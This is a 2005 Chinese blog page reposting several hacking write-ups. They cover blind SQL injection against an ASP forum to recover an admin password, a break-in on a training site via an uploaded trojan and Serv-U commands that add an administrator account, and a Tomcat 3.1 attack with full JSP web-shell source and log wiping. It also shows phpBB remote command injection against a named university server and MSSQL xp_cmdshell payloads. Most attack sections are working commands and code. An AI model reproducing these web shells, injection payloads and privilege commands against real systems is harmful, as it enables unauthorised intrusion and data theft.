我菜,找了几个比较熟悉的试了一下,21,80,135,139。

21端口,我试着扫了下FTP弱口令和是否支持匿名登陆。失败~~~~:(
139端口,试着扫了IPC弱口令,(如果被我扫出有弱口令,那这服务器也太。。。。。。··##%¥#—,哈哈),并且用NET VIEW看了下有没有共享。失败~~~~:(

80端口,我先在CMD命令提示符下:
telnet sss.sss.sss.sss 80
get 回车
从返回的信息得知是IIS5。0
可能有WEBDAV溢出漏洞,用WEBDAV溢出程序试了一下,失败~~~~

135端口,记得这端口可能可以RPC溢出,正好我的机子上有这工具,试了下,失败~~~~

无奈,又到站上逛了一下,这时,发现一个论坛。点击进去看了看。

是个CPB论坛,版本1。2,用ASP写的,以前没见过。

去GOOGLE搜了一下有没有关于这论坛的漏洞资料,无。。。。。

试着注册一个用户,管理员屏蔽了用户注册。

下了一个CPB论坛程序,看了看数据库,ASP的,也不能下载。

看CPB论坛说明得知默认管理员帐号和密码 admin admin

试试看管理员改了密码没,用admin admin登陆,提示登陆失败。看来管理员改了密码或删掉了admin用户。

不管那么多了,先进个版块看看吧,随手点了个版块。这是,看到版块的URL,

http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4

看这个连接可能有SQL漏洞,虽然以前没有SQL过论坛,还是试了一下。

首先,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 1=1

正常返回

然后,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 1=2

出错。

看来有SQL漏洞。但此时心中也没有一点窃喜,根据以前SQL下载系统的经练,仅凭这点,还没把握拿到密码。不管那么多,先试下吧。

接着,看看是否存在ADMIN表,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admin)

返回的是一个出错的页面,提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/bbs/list.asp,行145

这和我以前玩过的不一样,以前玩的都是正常返回。我随手在表admin后加了个S,
提交如下: http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admins)

显示"该页无法显示"

我又试着提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admindfgfdg)

显示"该页无法显示 "

通过这点,我判断,第一次我提交的应该是成功的,就是说,应该存在ADMIN表。

接着,判断管理员ADMIN表ID,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select id from admin where id>1)

显示"该页无法显示 "

看这个返回结果,显然是不正常的返回,而且ID的值我是从最小的1判断的,肯定那里出错了,具体我也说不清楚,我菜~

接着,我试了下提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id>1),也就是把ID改成了l_id,这是我以前没玩过的。

返回的是,出错。
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'

[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。

/bbs/list.asp,行145

这和判断是否存在ADMIN表时返回的是一样的。我窃喜了一下,接着试着提交:

http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select ls_id from admin where ls_id>1)

显示"该页无法显示"

因此,我断定ID应该用l_id,可能这对高手来说早就知道了,但这对菜鸟我来说,从没玩过,哈哈,看来今天就算拿不到密码也是有收获的,因为又多了点SQL注入的经练。

之后就是很顺利的,提交:http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id>5)

返回
错误提示:

您是否阅读了帮助文件,您没有权限继续下一步操作,通常是以下原因:
很抱歉,无此论坛!

看来l_id的值小与或等于,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id=4)

返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'

[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。

/bbs/list.asp,行145

因此判断l_id的值为4.

接下来猜ADMIN表里的用户名长度,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(username)>1)

依然从最小的1开始判断,返回:
错误提示:

您是否阅读了帮助文件,您没有权限继续下一步操作,通常是以下原因:
很抱歉,无此论坛!

说明没有username,试了下

http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 4=(select min(l_id) from admin where len(admin)>1)

根据结果得知存在admin,接着提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(admin)=5)

返回的信息说明admin长度为5。

接着猜用户名,根据刚才看到的CPB论坛默认管理员帐号admin,一次提交:

http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(admin,5)='admin')

呵呵,成功。减少了不少麻烦。

接下来猜密码长度,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)>1)

返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/bbs/list.asp,行145

哈哈,看来有password,接下来猜长度,提交
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)>8

返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/bbs/list.asp,行145

说明密码大于8。

然后提交:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)>10

返回和上面一样,这时,根据经练,有种不祥的预感,密码用MD5加密了的!MD5加密算法不可逆,目前只能暴力破解.

接着提交:


http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)=16
返回和上面一样,晕呀~~~~~~~~~~~~~果然是MD5加密过的了。

不管那么多了,先猜出来吧,说不定也可以象DVBBS6。0那样可以通过COOK欺骗进入后台管理。

提交:http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='a')

错误。

依次猜:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='b')
错误
当试到http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='e'),
正确,后面猜第2位密码
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,2='6')
第3位:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,2='f')

花了一点时间,才出MD5加密的密码为:e6f448a30c41a4ea

抱着试下的心理去网上DOWN了个MD5暴力破解工具,先猜数字,长度选5-6,偶晕~~~~~,1分钟不到,猜出来,密码225588,我都不相信,试了下登陆,居然成功。
哈哈,今天运气真好,要是现在福彩没关门,我一定去买~~~~~~~~~~

在后台转了一下,发现可以设置上传文件类型,偶晕~
如果上传个ASP木马,然后。。。。。。。。嘿嘿~~~~~
有可能搞定整个服务器,偶晕~
好了,不要太过分。到此为止。
看了管理员资料,找到QQ,看了不在线,明天再通知他们补上吧。

By BlackFaith

- 作者: httphacker 2005年01月4日, 星期二 07:34  回复(0) |  引用(0) 加入博采

[转载]渗透安全培训站
转自冰客联盟  作者:小默
郁闷啊~,小区维护电缆,一个星期没上去网~,闲的我心里像猫抓~ 好不容易今天维护的人来``,给偶弄好了``终于重见天日, 习惯性的打开我们本地的信息港去看下人才信息:(````````  (偶还是无业人员)一条信息吸引了我,培训网络安全人员``网址,电话云云的,,都写在上边. 我倒了,在我们这里混了这么长时间还没知道哪个人也是同行呢,于是就进了他的站看了下.

http://www.xxxxx.com.cn/
ASP的整站有会员版块,看来是个商业站`````,新建不久  
随便进一个内页    
http://www.xxxxx.com.cn/index/xxx?id=15844
晕倒`~,随手敲了and 1=1 正常返回
and 1=2
倒,出现的页面让我脸上漏出了笑容,传说中的SQL注入漏洞么`````

拿我偶的挚爱~,NB,扫ing
靠~~~~~~NIMDAhxccenter:e82e4735f8468460    郁闷``,MD5加密过的
没办法```,暴力破把
^_^用了台性能不错的JJ,没到10分钟就搞定了, 这个加密密码-->  14598664
后台已经找到
http://www.xxxxx.com.cn/login.asp
进到后台~~,上传图片里老生长谈了~老兵的上传东东就能搞定,就不重复了
把偶的马马传了上去~·#%¥#·%#·¥%·#%晕``,居然没做目录限制,我可以自由的访问各个盘付
OH~上帝``,难道这个就是培训网络安全的么`被打败了```
很顺利的在C盘下找到了SERV-U,也很顺利的添加了帐号,FTP:XXX。XXX。XXX。XXX
dir  HOHO,SYSTEM32下的东东
运行调用命令
quote site exec net user xiaomo xiaomo88999~ /add
quote site exec net localgroup administrators xiaomo /add
意思是创建xiaomo这个帐号,然后加进管理员组(什么不明白?~~,#¥......%¥¥   ,去小学一年级开始重学1+1=3 #$%$#)
在CMDSHELL下输入netstat -an ~~HOHO,还开了3389,省了偶不少事````````````
马上用终端登陆``,靠`~~~~¥%¥#......¥......超过最大连接数,不让偶登陆了``,MD
看样子只能在CMD下把他T下去个了```
query user
logoff  ID
期盼着可以用```````````````````````````````````````````````````````````````````
FTP:XXX。XXX。XXX。XXX下,偶输入了
ftp> quote site exec query user
200 EXEC command successful (TID=33).
MD,我日,没给我返回信息,直接说执行成功了```````````蒙下把,有的时候是靠运气的
ftp> quote site exec logoff 1
200 EXEC command successful (TID=33).
嘿嘿,用终端登了下,唉~还是不成``````````````````````
既然你不让我直接执行,那我就得得到你的CMD拉,嘿嘿~~用偶的反弹马马```,搞定你```,SB
上传了偶的反弹木马
在FTP下运行````quote site exec servl.exe
==========等待他的连接,我靠`````````````,没连上``,晕了,怎么回事``````
于是telnet  XXX.XXX.XXX.XXX超时,晕,装了防火墙,而且禁止了反向连接```
我有扫描了下,扫描的结果让我郁闷   只开了21,80,3389,其他居然都屏蔽了``````````
偶没想出什么办法,开始QQ求救````,老大冰雪封情大哥正好在线,告诉了偶,用80的反弹木马可以试下``````````
^_^偶怎么没想到``,去试~~,平时没用过哈``,找了N久终于在一个狭小的角落找到了老动,写的木马
传了上去,运行```,靠``,找不到`软件,NND,被杀~~~~~偶的汇编不是很好,加壳脱壳没什么把握``,算了```
这个路不走也罢~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
正待郁闷时候~~~,不小心一下按到了POWER键,靠,机器重起了``,MD,人不顺的时候干什么都背``。
起来了机器`~,平静了下心情,突然想到了,机器重起,终端的帐号会都掉下来```,这样我不就可以登陆了吗`,哈````
嘴我的 POWER键,哈哈``^_^            
去网上找了N久的命令,终于让我找到```````````
iisreset /REBOOT     适用于2000和2003````````````````  嘿嘿,上了FTP
ftp> quote site exec iisreset /REBOOT
刚运行完,命令```,就掉了下来```````````````````我靠,MD,你掉的还真快`````````^_^
1分钟后,我登陆上去,嘿嘿~~看到了桌面,感觉挺不错的,写了一个TXT,告诉了管理员``,靠自己安全都没做好,去培训别人``
偶日了``````````````````````
******本文没什么技术成份,纯属我个人唠叨`~,没办法,人到更年期都这样~~**************
也希望大家从中能得到什么启示`~~,祝大家肉鸡多多哈```,嘿嘿
                                                                                  小默   QQ:1984522

发贴心情 渗透安全培训站(冰客联盟原创)
郁闷啊~,小区维护电缆,一个星期没上去网~,闲的我心里像猫抓~
好不容易今天维护的人来``,给偶弄好了``终于重见天日
习惯性的打开我们本地的信息港去看下人才信息:(````````  (偶还是无业人员)
一条信息吸引了我,培训网络安全人员``网址,电话云云的,,都写在上边
我倒了,在我们这里混了这么长时间还没知道哪个人也是同行呢,于是就进了他的站
看了下
http://www.xxxxx.com.cn/
ASP的整站有会员版块,看来是个商业站`````,新建不久  
随便进一个内页    
http://www.xxxxx.com.cn/index/xxx?id=15844
晕倒`~,随手敲了and 1=1 正常返回
and 1=2
倒,出现的页面让我脸上漏出了笑容,传说中的SQL注入漏洞么`````
拿我偶的挚爱~,NB,扫ing
靠~~~~~~NIMDAhxccenter:e82e4735f8468460    郁闷``,MD5加密过的
没办法```,暴力破把
^_^用了台性能不错的JJ,没到10分钟就搞定了, 这个加密密码-->  14598664
后台已经找到
http://www.xxxxx.com.cn/login.asp
进到后台~~,上传图片里老生长谈了~老兵的上传东东就能搞定,就不重复了
把偶的马马传了上去~·#%¥#·%#·¥%·#%晕``,居然没做目录限制,我可以自由的访问各个盘付
OH~上帝``,难道这个就是培训网络安全的么`被打败了```
很顺利的在C盘下找到了SERV-U,也很顺利的添加了帐号,FTP:XXX。XXX。XXX。XXX
dir  HOHO,SYSTEM32下的东东
运行调用命令
quote site exec net user xiaomo xiaomo88999~ /add
quote site exec net localgroup administrators xiaomo /add
意思是创建xiaomo这个帐号,然后加进管理员组(什么不明白?~~,#¥......%¥¥   ,去小学一年级开始重学1+1=3 #$%$#)
在CMDSHELL下输入netstat -an ~~HOHO,还开了3389,省了偶不少事````````````
马上用终端登陆``,靠`~~~~¥%¥#......¥......超过最大连接数,不让偶登陆了``,MD
看样子只能在CMD下把他T下去个了```
query user
logoff  ID
期盼着可以用```````````````````````````````````````````````````````````````````
FTP:XXX。XXX。XXX。XXX下,偶输入了
ftp> quote site exec query user
200 EXEC command successful (TID=33).
MD,我日,没给我返回信息,直接说执行成功了```````````蒙下把,有的时候是靠运气的
ftp> quote site exec logoff 1
200 EXEC command successful (TID=33).
嘿嘿,用终端登了下,唉~还是不成``````````````````````
既然你不让我直接执行,那我就得得到你的CMD拉,嘿嘿~~用偶的反弹马马```,搞定你```,SB
上传了偶的反弹木马
在FTP下运行````quote site exec servl.exe
==========等待他的连接,我靠`````````````,没连上``,晕了,怎么回事``````
于是telnet  XXX.XXX.XXX.XXX超时,晕,装了防火墙,而且禁止了反向连接```
我有扫描了下,扫描的结果让我郁闷   只开了21,80,3389,其他居然都屏蔽了``````````
偶没想出什么办法,开始QQ求救````,老大冰雪封情大哥正好在线,告诉了偶,用80的反弹木马可以试下``````````
^_^偶怎么没想到``,去试~~,平时没用过哈``,找了N久终于在一个狭小的角落找到了老动,写的木马
传了上去,运行```,靠``,找不到`软件,NND,被杀~~~~~偶的汇编不是很好,加壳脱壳没什么把握``,算了```
这个路不走也罢~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
正待郁闷时候~~~,不小心一下按到了POWER键,靠,机器重起了``,MD,人不顺的时候干什么都背``。
起来了机器`~,平静了下心情,突然想到了,机器重起,终端的帐号会都掉下来```,这样我不就可以登陆了吗`,哈````
嘴我的 POWER键,哈哈``^_^            
去网上找了N久的命令,终于让我找到```````````
iisreset /REBOOT     适用于2000和2003````````````````  嘿嘿,上了FTP
ftp> quote site exec iisreset /REBOOT
刚运行完,命令```,就掉了下来```````````````````我靠,MD,你掉的还真快`````````^_^
1分钟后,我登陆上去,嘿嘿~~看到了桌面,感觉挺不错的,写了一个TXT,告诉了管理员``,靠自己安全都没做好,去培训别人``
偶日了``````````````````````
******本文没什么技术成份,纯属我个人唠叨`~,没办法,人到更年期都这样~~**************
也希望大家从中能得到什么启示`~~,祝大家肉鸡多多哈```,嘿嘿
                                                                                  小默   QQ:1984522

- 作者: httphacker 2005年01月4日, 星期二 07:02  回复(0) |  引用(0) 加入博采

[转载]WEB入侵的过程jsp
本文描述了如何通过WEB入侵获得freebsd 4.0的root权限。
文章主要以教育为目的,希望各位观者不要使用本文中的一些方法及程序,危害网络的安全。
作者:lovehacker  //编者注:可是位大牛哦
联系方式:lovehacker@263.net
网站地址:http://www.chinansl.com
版权属安盟信息科技有限责任公司所有,允许转载,但需保持文章的完整性。

很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。

telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]
返回的结果如下:
HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL
我获得了运行的WEBServer的名称"Tomcat 3.1"。我记得我曾经发现过这个版本的漏洞,并且post到bugtrap上去过。
大概是:通过".."技术可以退出WEB目录,于是:
http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)
嗯,在试试吧!Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context.试一下:http://target:8080/admin/
管理员果然没有删除或禁止访问这个目录:-(失误!!!!!
接着我点"VIEW ALL CONTEXT"按钮,列出了WEB目录下的一些文件和目录的名称,我开始仔细的看了起来,一小会儿,发现了一个上传文件的组件,嘿嘿,写一个jsp文件弄上去看看。
几口咖啡的时间,我写了这么一个东东出来:
<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>
通过上传的组件将这个jsp上传到对方的WEB目录里,然后:
http://target:8080/upload/test.jsp?file=/etc/passwd
嘿嘿,密码出来啦。我只看了"/etc/passwd",并没有看"/etc/shadow",因为当时考虑webserver一般使用nobody的身份启动的,看了也白看。(失误)
接下来的过程是无聊的猜测密码,没有成功。算了,那我只有将就点,反正现在我相当于有了一个shell了嘛,猜不出密码上去,那就全当IE是我的SHELL环境吧!
再写:
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
然后把这个jsp又通过upload上传了上去,嘿嘿,我现在有个SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(我这里就不列出来了)
怎么获得root呢?经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了mysql的密码:)看看是什么权限运行的mysql:
sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld
显示:
root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
嘿嘿,有办法了,系统是以root身份运行的mysql,同时我知道了mysql的密码,那我现在我可以写一个shell程序,让它create一个表,然后将我的数据放到表中,然后再使用"select ... into outfile;"的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?hacker就采用的这种办法)。
然后,我再上传bindshell之类的程序,运行、获得nobody的权限,然后......再使用su root时帮忙创建的setuid shell让自己成为root.
嘿嘿,真是好办法,我都为我的想法感到得意......

接下去的事情,差点没让我吐血:
我敲了一个:http://target:8080/upload/cmd.jsp?cmd=id
显示:
uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
kao,我的这个WEB SHELL本来就是ROOT,真是服了那个管理员,也服了自己。竟然折腾了这么半天,哎!
http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份运行的(不列出来了)

剩下来的事情:
1、删除我的telnet记录。
2、删除http的日志。
至于清除日志嘛,我使用的办法是:cat xxx |grep -V "IP" >>temp然后在把temp覆盖那些被我修改过的日志文件。
我没有更换他的页面,因为我本身也就不是什么黑客啦,更不是红客,只是个网络安全爱好者而已。所以,发封邮件告诉system admin吧!
当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴!

- 作者: httphacker 2005年01月4日, 星期二 06:51  回复(0) |  引用(0) 加入博采

[转载]渗透复旦大学
今天在学校没有事情做,正当无聊的时候我们宿舍的朋友告诉我一个主页,是复旦大学的,看看吧。。。。本来对大学没什么感觉,可也不能不给同学面子啊。
入侵步骤:登陆到主页上,www.fd100.fudan.edu.cn 看了看结构是php结构的,测试一下安全吧,
看了半天基本上没有什么漏洞,大学的主页安全性就是高。。。。

   拿出流光扫扫看吧,出现了以下的结果

202.120.224.100


端口扫描

80(HTTP)

21(FTP Control)

22(SSH)


FTP扫描

FTP版本信息: ProFTPD 1.2.9 Server (www.fd100.fudan.edu.cn) [www.fd100.fudan.edu.cn]


CGI扫描

WEB版本信息: Apache/2.0.52 (Trustix Secure Linux/Linux)

WWW 标题: 复旦百年校庆特别网站


MISC

SSH Version : SSH-2.0-OpenSSH_3.8p1

Plugins

IIS 5.0 WEBDAV Exploit

误报多多啊。出来了一个IIS 5.0 WEBDAV Exploit 我晕死。。。。

  从上面的结果得到了很多重要的信息,例如ssh的版本号啊,相信大家都能看懂我就不罗嗦了。

  ssh是2。0的没有什么漏洞了,ProFTPD 1.2.9 Server 的有几个溢出程序,因为再学校的原因,没有办法编译所以就没有试,大家有兴趣的话可以去试试,下面我给出地址

有2个漏洞,点击就可以下载了

ProFTPd 1.2.7 - 1.2.9rc2 Remote Root & brute-force Exploit

ProFTPD 1.2.9rc2 ASCII File Remote Root Exploit

②开来从系统入侵方面没有办法了,从web入手吧,看看了php注入的,没有漏洞,错误都转到一个空白页,看来这条路也走不通了,再看看吧,无意间发现了论坛2个字,进去看看吧,这时候我眼澄的大大的,怎么这么熟悉呢???往下一看,哈哈偷乐了,是phpbb 2.0.6的,最近这个论坛出了很多大的漏洞,先简单的试了一下,首先来到了

http://www.fd100.fudan.edu.cn/forum/viewtopic.php?t=112,先简单的测试一下看看有没有漏洞吧,然后我提交

http://www.fd100.fudan.edu.cn/forum/viewtopic.php?t=15&highlight=%2527%252esystem(chr(105)%252echr(100))%252e%2527

看到了什么?不错,uid=109(httpd) gid=109(httpd) groups=109(httpd)

如图1:

呵呵看来能入侵了,首先我先来说说这个漏洞的原理,

phpBB是一款使用多种模块扩展的流行的论坛系统。

phpBB 'viewtopic.php'对用户提交的参数缺少充分过滤,远程攻击者可以利用这个漏洞增加任意拥有管理权限的用户帐户。

'viewtopic.php'对'highlight'参数缺少充分检查,提交使用多个char()函数的SQL查询,可在系统中增加管理员权限的用户帐户。

另外附件模块对用户提交给"UPLOAD_DIR"字段数据缺少充分过滤,提交包含多个'../'字符的数据,可绕过WEB ROOT限制,以进程权限查看系统文件内容。

   好了,相信大家明白原理了,我们继续啊,对了再说几句,其实这个漏洞有利用程序的,我这里有3个版本,可以再我的blog找到,因为学校的原因不愿意再装perl解释器了,所以就手工测试了。

继续提交http://www.fd100.fudan.edu.cn/forum/viewtopic.php?t=15&highlight=%2527%252esystem(chr(117)%252echr(110)%252echr(97)%252echr(109)%252echr(101)%252echr(32)%252echr(45)%252echr(97))%252e%2527

得到了Linux www.fd100.fudan.edu.cn 2.4.27-3trsmp #1 SMP Tue Sep 21 16:31:10 CEST 2004 i686 unknown unknown GNU/Linux
如图2

然后继续提交http://www.fd100.fudan.edu.cn/forum/viewtopic.php?t=15&highlight=%2527%252esystem(chr(99)%252echr(97)%252echr(116)%252echr(32)%252echr(47)%252echr(101)%252echr(116)%252echr(99)%252echr(47)%252echr(112)%252echr(97)%252echr(115)%252echr(115)%252echr(119)%252echr(100))%252e%2527

  暴露出了/etc/passwd的文件,到这里不要再演示了,这个是比较出名的大学的服务器,我怕怕就不继续深入了。

如图

  这么严重的事赶紧给网管发个信息吧。。。让他补上漏洞,email找不到。。只好写到论坛上了。到现在漏洞还没有补上呢,希望大家不要搞破坏,不然后果自己负责。。。

如图:

后记:这只是一个简单漏洞的利用,由此可以看出中国的安全水平,希望个个管理员重视起来。既然我能渗透进去,我就能拿到root,然后随便乱搞,当然我是不会这样做的。

其实我说上面的话我只是想说明国内的网络管理人员要重视安全,不要让国外的黑客有可乘之机。好了,希望大家和我讨论技术我的QQ是550669

- 作者: httphacker 2005年01月4日, 星期二 06:46  回复(0) |  引用(0) 加入博采

[转载]mssql注入技巧之个人篇
文章作者:Alpha 1.显示cmd执行的回显. 在注入是sa权限时,看不到命令的回显时件很痛苦的事情,在小竹兄的nbsi里也有一个尝试回显,可为什么要尝试了?呵呵.下面我说一种方法,绝对对可看到回显,不知道小竹兄用的是什么方法哦
建立表
语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000));--
返回:正常的信息!说明建表成功!继续!
语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell 'net user' ;--

返回:正常信息。应该写入dirs数据正常

语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs);--

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 '***'转换为数据类型为 int 的列时发生语法错误。
^_^,这样我们就看到回显的结果了,当然,直接用nbsi暴表里的内容将更快速.

同理 ,其它的扩展也可以用这种方法得到内容哦,比如regread,(没有测试)

2. xp_dirtree写路径的问题

nbsi的目录列表工具不是很好用,有时候显示列不出来,实际上是出来了的哦,你直接暴表的数据(默认是NB_TreeList_Tmp)就看到内容了.

3.检测漏洞存在

nbsi的漏洞检测功能实在不敢恭维,对于写的像数字型的字符他都拒绝检测,就更不用说过滤了引号的类型了,所以还是建议手工检测,这样保证万无一失(:P)

4.删除xpsql70.dll和xp_cmdshell,and无法上传的问题解决

实际上很早以前czy大哥已经说过了,记得lzy好像也说过一个,不过和这个好像不一样

declare @s int
exec sp_oacreate "wscript.shell",@s out
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open asp.7i24.com>c:/a.txt"

这个是在查询分析器里执行的,直接在地址栏里应该也是可以执行的,像这样

declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo aaa >c:/a.txt"

具体的没有在注入点测试
 

相关文章推荐

JAVA<总汇>

POJ上的一些水题(可用来练手和增加自信) (poj3299,poj2159,poj2739,poj1083,poj2262,poj1503,poj3006,poj2255,poj3094) 初期...

List Control控件技巧总汇(1)

以下未经说明,listctrl默认view 风格为report -----------------------------------------------------------------...

【iOS-Cocos2d游戏开发之二十】精灵的基础知识点总汇(位图操作/贴图更换/重排z轴等)以及利用CCSprite与CCLayerColor制作简单遮盖层!

李华明Himi 原创,转载务必在明显处注明:转载自【黑米GameDev街区】 原文链接: http://www.himigame.com/iphone-cocos2d/516.html    最近写了...

ELF文件格式及程序加载执行过程总汇(2)ELF Header

========================== ELF Header ==========================  一些object文件的控制结构能够增长的,所以ELF头包含...

黑马程序员——黑马IOS面试学习三:Objective-C 中一些关键字和概念的总汇——黑马 ios 技术博客

------Java培训、Android培训、iOS培训、.Net培训、期待与您交流! ------- 初学Objective-C,总是对其中的一些概念和关键字搞不清楚,为了更好的学...

ELF文件格式及程序加载执行过程总汇(3)sections

=========================== Sections ===========================  一个object文件的section header tab...

java基础语法总汇关键字、常量、变量、语句、函数、数组

**java语法基础:**1,关键字: 其实就是某种语言赋予了特殊含义的单词。 保留字:其实就是还没有赋予特殊含义,但是准备日后要使用过的单词。 2,标示符: 其实就是在程序...

动画效果 --Animation 总汇(动画专题研究二)

转载地址同一 动画效果二 ----Frame Animation 新建工程 myFrameAnimation 在main.xml布局中添加view子类,调整一下,效果如下...

关于层DIV自适应高度的问题总汇(加入clearfix方法)

我们先来看一个最普通的父层自适应子层高度的例子(通常来讲,布局时父层都是不设置高度的) .f{ width:200px; border:1px solid #000; padding: 2...

动画效果 --Animation 总汇(动画专题研究一)

转自:http://www.eoeandroid.com/thread-653-1-1.html(不劳而获了,不好意思) 动画效果编程基础--AnimationAndroid 动画类型 ...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)